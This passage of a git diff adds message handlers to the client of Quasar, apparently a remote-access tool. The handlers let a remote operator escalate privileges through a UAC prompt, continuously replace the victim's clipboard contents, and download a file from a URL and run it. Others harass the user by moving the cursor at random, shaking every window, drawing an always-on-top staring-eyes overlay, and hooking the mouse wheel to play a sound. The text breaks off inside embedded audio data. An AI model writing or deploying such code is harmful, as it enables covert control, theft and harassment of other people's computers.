_client.Exit(); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoClientDisconnect message) + { + _client.Exit(); + } + + private void Execute(ISender client, DoClientReconnect message) + { + _client.Disconnect(); + } + + private void Execute(ISender client, DoAskElevate message) + { + var userAccount = new UserAccount(); + if (userAccount.Type != AccountType.Admin) + { + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Verb = "runas", + Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + + _application.ApplicationMutex.Dispose(); // close the mutex so the new process can run + try + { + Process.Start(processStartInfo); + } + catch + { + client.Send(new SetStatus {Message = "User refused the elevation request."}); + _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex + return; + } + _client.Exit(); + } + else + { + client.Send(new SetStatus { Message = "Process already elevated." }); + } + } + } +} diff --git a/Quasar.Client/Messages/ClipboardHijackHandler.cs b/Quasar.Client/Messages/ClipboardHijackHandler.cs new file mode 100644 index 0000000..46d4454 --- /dev/null +++ b/Quasar.Client/Messages/ClipboardHijackHandler.cs @@ -0,0 +1,54 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ClipboardHijackHandler : IMessageProcessor, IDisposable + { + private Thread _thread; + private volatile bool _running; + private string _replacementText; + + public bool CanExecute(IMessage message) => message is DoStartClipboardHijack || message is DoStopClipboardHijack; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoStartClipboardHijack start: Start(start.ReplacementText); break; + case DoStopClipboardHijack _: Stop(); break; + } + } + + private void Start(string replacementText) + { + Stop(); + _replacementText = replacementText; + _running = true; + _thread = new Thread(() => + { + while (_running) + { + try + { + if (Clipboard.GetText() != _replacementText) + Clipboard.SetText(_replacementText); + } + catch { } + Thread.Sleep(500); + } + }); + _thread.SetApartmentState(ApartmentState.STA); + _thread.IsBackground = true; + _thread.Start(); + } + + private void Stop() => _running = false; + + public void Dispose() => Stop(); + } +} diff --git a/Quasar.Client/Messages/ColorInvertHandler.cs b/Quasar.Client/Messages/ColorInvertHandler.cs new file mode 100644 index 0000000..ad5dfea --- /dev/null +++ b/Quasar.Client/Messages/ColorInvertHandler.cs @@ -0,0 +1,61 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System.Runtime.InteropServices; + +namespace Quasar.Client.Messages +{ + public class ColorInvertHandler : IMessageProcessor + { + [StructLayout(LayoutKind.Sequential)] + private struct MAGCOLOREFFECT + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 25)] + public float[] transform; + } + + [DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)] + private static extern bool MagInitialize(); + + [DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)] + private static extern bool MagUninitialize(); + + [DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)] + private static extern bool MagSetFullscreenColorEffect(ref MAGCOLOREFFECT pEffect); + + private static readonly float[] _invertMatrix = { + -1, 0, 0, 0, 0, + 0, -1, 0, 0, 0, + 0, 0, -1, 0, 0, + 0, 0, 0, 1, 0, + 1, 1, 1, 0, 1 + }; + + private static readonly float[] _identityMatrix = { + 1, 0, 0, 0, 0, + 0, 1, 0, 0, 0, + 0, 0, 1, 0, 0, + 0, 0, 0, 1, 0, + 0, 0, 0, 0, 1 + }; + + public bool CanExecute(IMessage message) => + message is DoStartColorInvert || message is DoStopColorInvert; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoStartColorInvert) + ApplyEffect(_invertMatrix); + else if (message is DoStopColorInvert) + ApplyEffect(_identityMatrix); + } + + private static void ApplyEffect(float[] matrix) + { + MagInitialize(); + var effect = new MAGCOLOREFFECT { transform = matrix }; + MagSetFullscreenColorEffect(ref effect); + } + } +} diff --git a/Quasar.Client/Messages/CursorChaosHandler.cs b/Quasar.Client/Messages/CursorChaosHandler.cs new file mode 100644 index 0000000..3c637fc --- /dev/null +++ b/Quasar.Client/Messages/CursorChaosHandler.cs @@ -0,0 +1,57 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class CursorChaosHandler : IMessageProcessor, IDisposable + { + [DllImport("user32.dll")] + private static extern bool SetCursorPos(int x, int y); + + private Thread _thread; + private volatile bool _running; + + public bool CanExecute(IMessage message) => message is DoStartCursorChaos || message is DoStopCursorChaos; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoStartCursorChaos _: Start(); break; + case DoStopCursorChaos _: Stop(); break; + } + } + + private void Start() + { + if (_running) return; + _running = true; + _thread = new Thread(() => + { + var rng = new Random(); + while (_running) + { + try + { + int x = rng.Next(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Right); + int y = rng.Next(SystemInformation.VirtualScreen.Top, SystemInformation.VirtualScreen.Bottom); + SetCursorPos(x, y); + } + catch { } + Thread.Sleep(100); + } + }); + _thread.IsBackground = true; + _thread.Start(); + } + + private void Stop() => _running = false; + + public void Dispose() => Stop(); + } +} diff --git a/Quasar.Client/Messages/DrunkModeHandler.cs b/Quasar.Client/Messages/DrunkModeHandler.cs new file mode 100644 index 0000000..baaeeef --- /dev/null +++ b/Quasar.Client/Messages/DrunkModeHandler.cs @@ -0,0 +1,108 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class DrunkModeHandler : IMessageProcessor, IDisposable + { + [DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); + [DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr hWnd); + [DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); + [DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr hWnd, IntPtr hAfter, int X, int Y, int cx, int cy, uint uFlags); + [DllImport("user32.dll")] static extern int GetWindowLong(IntPtr hWnd, int nIndex); + + delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); + + [StructLayout(LayoutKind.Sequential)] + struct RECT { public int Left, Top, Right, Bottom; } + + const uint SWP_NOSIZE = 0x0001; + const uint SWP_NOZORDER = 0x0004; + const uint SWP_NOACTIVATE = 0x0010; + const uint SWP_NOSENDCHANGING = 0x0400; + const int GWL_STYLE = -16; + const int WS_MAXIMIZE = 0x01000000; + const int WS_MINIMIZE = 0x20000000; + + private Thread _thread; + private volatile bool _running; + + public bool CanExecute(IMessage message) => message is DoStartDrunkMode || message is DoStopDrunkMode; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoStartDrunkMode) Start(); + else if (message is DoStopDrunkMode) Stop(); + } + + private void Start() + { + if (_running) return; + _running = true; + _thread = new Thread(DrunkLoop) { IsBackground = true }; + _thread.Start(); + } + + private void Stop() + { + _running = false; + } + + private void DrunkLoop() + { + try + { + // snapshot all moveable windows and their original positions + var origX = new Dictionary(); + var origY = new Dictionary(); + + EnumWindows((hWnd, _) => + { + if (!IsWindowVisible(hWnd)) return true; + int style = GetWindowLong(hWnd, GWL_STYLE); + if ((style & WS_MAXIMIZE) != 0 || (style & WS_MINIMIZE) != 0) return true; + RECT r; + if (GetWindowRect(hWnd, out r)) + { + origX[hWnd] = r.Left; + origY[hWnd] = r.Top; + } + return true; + }, IntPtr.Zero); + + double t = 0; + while (_running) + { + int xOff = (int)(Math.Sin(t * 0.9) * 35); + int yOff = (int)(Math.Sin(t * 0.55 + 1.3) * 20); + + foreach (var hWnd in origX.Keys) + { + SetWindowPos(hWnd, IntPtr.Zero, + origX[hWnd] + xOff, origY[hWnd] + yOff, + 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING); + } + + t += 0.05; + Thread.Sleep(20); + } + + // restore all windows to their original positions + foreach (var hWnd in origX.Keys) + { + SetWindowPos(hWnd, IntPtr.Zero, + origX[hWnd], origY[hWnd], + 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING); + } + } + catch { } + } + + public void Dispose() => Stop(); + } +} diff --git a/Quasar.Client/Messages/ExecutionHandler.cs b/Quasar.Client/Messages/ExecutionHandler.cs new file mode 100644 index 0000000..9db1817 --- /dev/null +++ b/Quasar.Client/Messages/ExecutionHandler.cs @@ -0,0 +1,37 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Net; + +namespace Quasar.Client.Messages +{ + public class ExecutionHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoExecute; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + var msg = (DoExecute)message; + try + { + if (msg.IsUrl) + { + string ext = Path.GetExtension(new Uri(msg.FilePath).LocalPath); + if (string.IsNullOrEmpty(ext)) ext = ".exe"; + string tmp = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ext); + using (var wc = new WebClient()) + wc.DownloadFile(msg.FilePath, tmp); + Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true }); + } + else + { + Process.Start(new ProcessStartInfo { FileName = msg.FilePath, UseShellExecute = true }); + } + } + catch { } + } + } +} diff --git a/Quasar.Client/Messages/EyesHandler.cs b/Quasar.Client/Messages/EyesHandler.cs new file mode 100644 index 0000000..e922388 --- /dev/null +++ b/Quasar.Client/Messages/EyesHandler.cs @@ -0,0 +1,379 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class EyesHandler : IMessageProcessor + { + private Thread _thread; + private volatile bool _running; + private EyesForm _form; + + public bool CanExecute(IMessage message) => message is DoStartEyes || message is DoStopEyes; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoStartEyes) Start(); + else if (message is DoStopEyes) Stop(); + } + + private void Start() + { + if (_running) return; + _running = true; + _thread = new Thread(RunEyes) { IsBackground = true }; + _thread.SetApartmentState(ApartmentState.STA); + _thread.Start(); + } + + private void Stop() + { + _running = false; + try + { + var f = _form; + if (f != null && !f.IsDisposed) + f.Invoke(new Action(() => { if (!f.IsDisposed) f.Close(); })); + } + catch { } + } + + private void RunEyes() + { + _form = new EyesForm(); + Application.Run(_form); + _form = null; + _running = false; + } + } + + internal class EyesForm : Form + { + [DllImport("user32.dll")] private static extern bool GetCursorPos(out POINT pt); + [DllImport("user32.dll")] private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); + private const uint SWP_NOMOVE = 0x0002, SWP_NOSIZE = 0x0001, SWP_NOACTIVATE = 0x0010; + [StructLayout(LayoutKind.Sequential)] private struct POINT { public int X, Y; } + + private readonly System.Windows.Forms.Timer _timer; + private readonly Random _rng = new Random(); + + // Animation state + private bool _blinking; + private int _ticksSinceBlink; + private bool _twitching; + private float _twitchDX, _twitchDY; + private int _pulseFrame; + + // Eye geometry + private const float CX1 = 72f, CX2 = 216f, CY = 72f; + private const float RX = 58f; // half-width + private const float IRIS_R = 24f; + + public EyesForm() + { + FormBorderStyle = FormBorderStyle.None; + TopMost = true; + ShowInTaskbar = false; + BackColor = Color.Lime; + TransparencyKey = Color.Lime; + StartPosition = FormStartPosition.Manual; + Size = new Size(300, 150); + DoubleBuffered = true; + + var screen = Screen.PrimaryScreen.WorkingArea; + Location = new Point(screen.Right - 318, screen.Bottom - 168); + + _timer = new System.Windows.Forms.Timer { Interval = 30 }; + _timer.Tick += OnTick; + _timer.Start(); + } + + private void OnTick(object sender, EventArgs e) + { + _pulseFrame++; + _ticksSinceBlink++; + + if (!_blinking && _ticksSinceBlink > 90 && _rng.Next(60) == 0) + { + _blinking = true; + _ticksSinceBlink = 0; + var t = new System.Windows.Forms.Timer { Interval = 180 }; + t.Tick += (s, _) => { _blinking = false; t.Stop(); t.Dispose(); }; + t.Start(); + } + + if (!_twitching && _rng.Next(90) == 0) + { + _twitching = true; + _twitchDX = (float)(_rng.NextDouble() * 18 - 9); + _twitchDY = (float)(_rng.NextDouble() * 10 - 5); + var t = new System.Windows.Forms.Timer { Interval = 60 }; + t.Tick += (s, _) => { _twitching = false; t.Stop(); t.Dispose(); }; + t.Start(); + } + + // Re-assert topmost every tick so fullscreen apps can't push us under + SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE); + Invalidate(); + } + + // Realistic eyelid outline — natural bezier curves + private static GraphicsPath MakeEyePath(float cx, float cy) + { + var path = new GraphicsPath(); + // Inner (left) corner sits slightly below center; outer (right) slightly above + float lx = cx - RX, rx = cx + RX; + float innerY = cy + 4f, outerY = cy; + + // Upper lid: fast rise near inner corner, peak above cx, sweeps to outer corner + path.AddBezier( + lx, innerY, + cx - RX * 0.3f, cy - 50f, + cx + RX * 0.1f, cy - 52f, + rx, outerY); + + // Lower lid: gentle drop from outer corner, flatter belly, rises to inner corner + path.AddBezier( + rx, outerY, + cx + RX * 0.4f, cy + 22f, + cx - RX * 0.2f, cy + 24f, + lx, innerY); + + path.CloseFigure(); + return path; + } + + protected override void OnPaint(PaintEventArgs e) + { + var g = e.Graphics; + g.SmoothingMode = SmoothingMode.AntiAlias; + g.InterpolationMode = InterpolationMode.HighQualityBicubic; + + GetCursorPos(out POINT cursor); + var origin = PointToScreen(Point.Empty); + + DrawEye(g, CX1, CY, cursor, origin); + DrawEye(g, CX2, CY, cursor, origin); + } + + private void DrawEye(Graphics g, float cx, float cy, POINT cursor, Point origin) + { + using (var eyePath = MakeEyePath(cx, cy)) + { + var bounds = eyePath.GetBounds(); + + // ── Sclera — slightly cool white ──────────────────────────────── + using (var b = new SolidBrush(Color.FromArgb(242, 242, 248))) + g.FillPath(b, eyePath); + + // ── Blood veins — thin red beziers across the white ───────────── + DrawVeins(g, cx, cy, eyePath); + + if (!_blinking) + { + // ── Cursor tracking ────────────────────────────────────────── + float dx = cursor.X - (origin.X + cx); + float dy = cursor.Y - (origin.Y + cy); + if (_twitching) { dx += _twitchDX; dy += _twitchDY; } + + float dist = (float)Math.Sqrt(dx * dx + dy * dy); + float pulse = (float)Math.Sin(_pulseFrame * 0.04) * 1.5f; + float irisR = IRIS_R + pulse; + float pupilR = irisR * 0.68f; // huge dilated pupil = menacing + float maxTravel = irisR - pupilR - 1f; + float px = cx, py = cy; + if (dist > 0) + { + float ratio = Math.Min(dist, maxTravel) / dist; + px = cx + dx * ratio; + py = cy + dy * ratio; + } + + // Clip iris/pupil to sclera shape + var clipState = g.Save(); + g.SetClip(eyePath); + + // Upper lid shadow — dark gradient bleeding down from top of lid + var lidShadowRect = new RectangleF(bounds.X, bounds.Y - 2, bounds.Width, bounds.Height * 0.55f); + using (var lgb = new LinearGradientBrush( + new PointF(0, bounds.Y), + new PointF(0, bounds.Y + bounds.Height * 0.55f), + Color.FromArgb(90, 20, 10, 5), + Color.FromArgb(0, 0, 0, 0))) + g.FillRectangle(lgb, lidShadowRect); + + // Iris — dark forest green (realistic + eerie) + using (var b = new SolidBrush(Color.FromArgb(38, 68, 42))) + g.FillEllipse(b, px - irisR, py - irisR, irisR * 2, irisR * 2); + + // Iris texture — radial spokes + using (var pen = new Pen(Color.FromArgb(80, 55, 90, 58), 1f)) + { + for (int a = 0; a < 360; a += 10) + { + float rad = a * (float)Math.PI / 180f; + float cos = (float)Math.Cos(rad), sin = (float)Math.Sin(rad); + g.DrawLine(pen, + px + (pupilR + 1f) * cos, py + (pupilR + 1f) * sin, + px + (irisR - 1f) * cos, py + (irisR - 1f) * sin); + } + } + + // Dark limbal ring + using (var pen = new Pen(Color.FromArgb(14, 22, 14), 2f)) + g.DrawEllipse(pen, px - irisR, py - irisR, irisR * 2, irisR * 2); + + // Massive dilated pupil + g.FillEllipse(Brushes.Black, px - pupilR, py - pupilR, pupilR * 2, pupilR * 2); + + g.Restore(clipState); + + // Specular highlights — two dots, natural positions + g.FillEllipse(Brushes.White, px - irisR * 0.55f, py - irisR * 0.7f, 6f, 5f); + using (var b = new SolidBrush(Color.FromArgb(160, 255, 255, 255))) + g.FillEllipse(b, px + irisR * 0.2f, py + irisR * 0.1f, 3f, 3f); + } + + // ── Eyelid fill on blink (dark skin tone) ─────────────────────── + if (_blinking) + { + using (var b = new SolidBrush(Color.FromArgb(168, 130, 108))) + g.FillPath(b, eyePath); + } + + // ── Upper eyelid outline — thick dark line ─────────────────────── + float lx = cx - RX, rx = cx + RX; + float innerY = cy + 4f, outerY = cy; + using (var pen = new Pen(Color.FromArgb(28, 16, 10), 2.5f)) + { + using (var upperPath = new GraphicsPath()) + { + upperPath.AddBezier( + lx, innerY, + cx - RX * 0.3f, cy - 50f, + cx + RX * 0.1f, cy - 52f, + rx, outerY); + g.DrawPath(pen, upperPath); + } + } + + // ── Lower eyelid outline — thinner ────────────────────────────── + using (var pen = new Pen(Color.FromArgb(50, 30, 20), 1.5f)) + { + using (var lowerPath = new GraphicsPath()) + { + lowerPath.AddBezier( + rx, outerY, + cx + RX * 0.4f, cy + 22f, + cx - RX * 0.2f, cy + 24f, + lx, innerY); + g.DrawPath(pen, lowerPath); + } + } + + // ── Eyelashes — upper lid only ─────────────────────────────────── + DrawEyelashes(g, cx, cy); + + // ── Pink inner corner (caruncle) ───────────────────────────────── + using (var b = new SolidBrush(Color.FromArgb(200, 195, 90, 85))) + g.FillEllipse(b, lx - 2f, cy - 3f, 10f, 8f); + + // ── Red lower waterline ────────────────────────────────────────── + using (var pen = new Pen(Color.FromArgb(120, 180, 50, 50), 1.5f)) + { + using (var waterline = new GraphicsPath()) + { + waterline.AddBezier( + rx - 4f, outerY + 8f, + cx + RX * 0.3f, cy + 16f, + cx - RX * 0.15f, cy + 17f, + lx + 4f, innerY + 6f); + g.DrawPath(pen, waterline); + } + } + } + } + + private void DrawVeins(Graphics g, float cx, float cy, GraphicsPath clipPath) + { + var clipState = g.Save(); + g.SetClip(clipPath); + + // Each row: x1,y1, cx1,cy1, cx2,cy2, x2,y2 (bezier control points) + float[][] veins = { + new float[]{ cx-RX+3, cy+2, cx-RX+22, cy-6, cx-IRIS_R-14, cy-4, cx-IRIS_R-4, cy-2 }, + new float[]{ cx-RX+5, cy+8, cx-RX+18, cy+14, cx-IRIS_R-10, cy+9, cx-IRIS_R-3, cy+5 }, + new float[]{ cx-RX+8, cy-6, cx-RX+24, cy-16, cx-IRIS_R-8, cy-11, cx-IRIS_R-2, cy-7 }, + new float[]{ cx+RX-3, cy+2, cx+RX-20, cy-5, cx+IRIS_R+12, cy-3, cx+IRIS_R+3, cy-1 }, + new float[]{ cx+RX-6, cy-8, cx+RX-22, cy-14, cx+IRIS_R+9, cy-9, cx+IRIS_R+2, cy-5 }, + new float[]{ cx-6, cy-50, cx-4, cy-30, cx-2, cy-IRIS_R-8, cx-1, cy-IRIS_R-2 }, + }; + + using (var pen = new Pen(Color.FromArgb(190, 185, 25, 25), 1f)) + { + foreach (var v in veins) + g.DrawBezier(pen, v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7]); + } + + using (var pen = new Pen(Color.FromArgb(110, 185, 25, 25), 0.8f)) + { + g.DrawBezier(pen, cx-RX+14, cy+5, cx-RX+28, cy+10, cx-IRIS_R-6, cy+12, cx-IRIS_R-1, cy+8); + g.DrawBezier(pen, cx+RX-14, cy-3, cx+RX-28, cy-9, cx+IRIS_R+5, cy-11, cx+IRIS_R+1, cy-7); + } + + g.Restore(clipState); + } + + private static void DrawEyelashes(Graphics g, float cx, float cy) + { + float lx = cx - RX, rx = cx + RX; + float innerY = cy + 4f, outerY = cy; + + const int count = 12; + using (var pen = new Pen(Color.FromArgb(220, 18, 10, 6), 1.5f)) + { + for (int i = 0; i < count; i++) + { + float t = (float)i / (count - 1); + // Sample point along the upper lid bezier (De Casteljau t) + float it = 1f - t; + float bx = it*it*it*lx + 3*it*it*t*(cx - RX*0.3f) + 3*it*t*t*(cx + RX*0.1f) + t*t*t*rx; + float by = it*it*it*innerY + 3*it*it*t*(cy - 50f) + 3*it*t*t*(cy - 52f) + t*t*t*outerY; + + // Tangent direction at t (derivative of cubic bezier) + float tbx = 3*(it*it*(cx - RX*0.3f - lx) + 2*it*t*(cx + RX*0.1f - (cx - RX*0.3f)) + t*t*(rx - (cx + RX*0.1f))); + float tby = 3*(it*it*(cy - 50f - innerY) + 2*it*t*(cy - 52f - (cy - 50f)) + t*t*(outerY - (cy - 52f))); + + // Normal pointing outward (away from eye center = upward here) + float len = (float)Math.Sqrt(tbx*tbx + tby*tby); + if (len < 0.001f) continue; + float nx = -tby / len, ny = tbx / len; + + // Vary lash length — longer in middle + float mid = Math.Abs(t - 0.45f) * 2f; + float lashLen = 14f - mid * 6f; + + // Slight outward curl + float curlX = nx * lashLen + ny * lashLen * 0.18f; + float curlY = ny * lashLen - nx * lashLen * 0.18f; + + g.DrawLine(pen, bx, by, bx + curlX, by + curlY); + } + } + } + + protected override void Dispose(bool disposing) + { + if (disposing) _timer?.Dispose(); + base.Dispose(disposing); + } + } +} diff --git a/Quasar.Client/Messages/FartScrollHandler.cs b/Quasar.Client/Messages/FartScrollHandler.cs new file mode 100644 index 0000000..32dfd2e --- /dev/null +++ b/Quasar.Client/Messages/FartScrollHandler.cs @@ -0,0 +1,159 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class FartScrollHandler : IMessageProcessor, IDisposable + { + // ── Low-level mouse hook ───────────────────────────────────────────── + + private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] static extern IntPtr SetWindowsHookEx(int idHook, LowLevelMouseProc fn, IntPtr hMod, uint threadId); + [DllImport("user32.dll")] static extern bool UnhookWindowsHookEx(IntPtr hhk); + [DllImport("user32.dll")] static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); + [DllImport("user32.dll")] static extern bool GetMessage(out MSG msg, IntPtr hWnd, uint min, uint max); + [DllImport("user32.dll")] static extern bool TranslateMessage(ref MSG msg); + [DllImport("user32.dll")] static extern IntPtr DispatchMessage(ref MSG msg); + [DllImport("user32.dll")] static extern bool PostThreadMessage(int threadId, uint msg, IntPtr wParam, IntPtr lParam); + [DllImport("kernel32.dll")] static extern int GetCurrentThreadId(); + [DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string name); + + [StructLayout(LayoutKind.Sequential)] + struct MSG { public IntPtr hwnd; public uint message; public IntPtr wParam, lParam; public uint time; public int x, y; } + + const int WH_MOUSE_LL = 14; + const int WM_MOUSEWHEEL = 0x020A; + const uint WM_QUIT = 0x0012; + + // ── waveOut P/Invoke ───────────────────────────────────────────────── + + [StructLayout(LayoutKind.Sequential)] + struct WAVEFORMATEX { public ushort wFormatTag, nChannels; public uint nSamplesPerSec, nAvgBytesPerSec; public ushort nBlockAlign, wBitsPerSample, cbSize; } + + [StructLayout(LayoutKind.Sequential)] + struct WAVEHDR { public IntPtr lpData; public uint dwBufferLength, dwBytesRecorded; public IntPtr dwUser; public uint dwFlags, dwLoops; public IntPtr lpNext, reserved; } + + [DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags); + [DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz); + [DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz); + [DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz); + [DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h); + + const uint WAVE_MAPPER = 0xFFFFFFFF; + + // Embedded fart PCM — 2 ch, 16-bit, 48000 Hz + private static readonly byte[] FartPcm = Convert.FromBase64String( + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAD//wAAAAAAAAAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AAAAAAAAAAD///////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AAD//wAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAP//AAD//wAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAEAAAAAAAAAAAD//wAAAAD//wAA////////////////AAD//wAA/////////////wAAAAAAAAAAAAD//wAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAA//8AAAAAAAAAAAAA//8AAP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAP//AAD//wAAAAAAAP//AAAAAAEAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAD//wAA/v8AAP//AAAAAP////////////8AAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAEAAQACAAIAAgABAAEAAQABAAAAAAAAAAEAAgACAAIAAQAAAAEAAAAAAP//////////AAD//////////wAAAQABAAEAAQABAAEAAQAAAAAAAAAAAAEAAgACAAIABAADAAQAAwABAAEAAAAAAAAAAAD///////8AAAAAAQABAAIAAQABAAAAAAD+//7//v/+/wAAAAACAAEAAgACAAIAAgAAAAEAAAABAAEAAQAAAAAAAAAAAP//AAD/////AAD//wAAAAD+//7//f/+//7//v////////////////8AAAAAAQABAAEAAAAAAAAA//////7//v////7/AQAAAAIAAQACAAIAAQABAP/////+/////////wAAAAACAAEAAwACAAIAAgADAAIAAwADAAIAAgABAAIAAAAAAAAAAAAAAAAAAAAAAP///////////v/+//3//v/+/////v/+//3//f/8//3//f/9//7//f////////////////8AAAEAAAABAAAAAQAAAAEAAAAAAAAAAAACAAIAAgACAAMAAgACAAIAAAABAAAAAAAAAAAAAAD//wAA//8AAAAAAQABAAIAAgACAAIA//8AAP3//v//////AAAAAAAAAAABAAAAAQABAAEAAgABAAIAAQABAAEAAQAAAAEAAAAAAAEAAQACAAIAAwADAAMAAgABAAEAAAAAAAAAAAABAAEAAQABAAEAAAD//////////wAAAAAAAAAAAQAAAAEAAAAAAAAAAAABAAEAAQABAAEAAgABAAEAAQD+/wAA/f/+//7//v////7//////wAAAQAAAAEAAAAAAP7//v/8//3//P/9//7//v//////AAABAP//AAD//////////////////////////////////wAAAAAAAP//AAD//wAAAAABAAAAAQABAAIAAgADAAEAAgAAAAAAAAAAAAAAAAAAAAAAAgABAAIAAgACAAAAAQAAAAEAAAACAAEAAgAB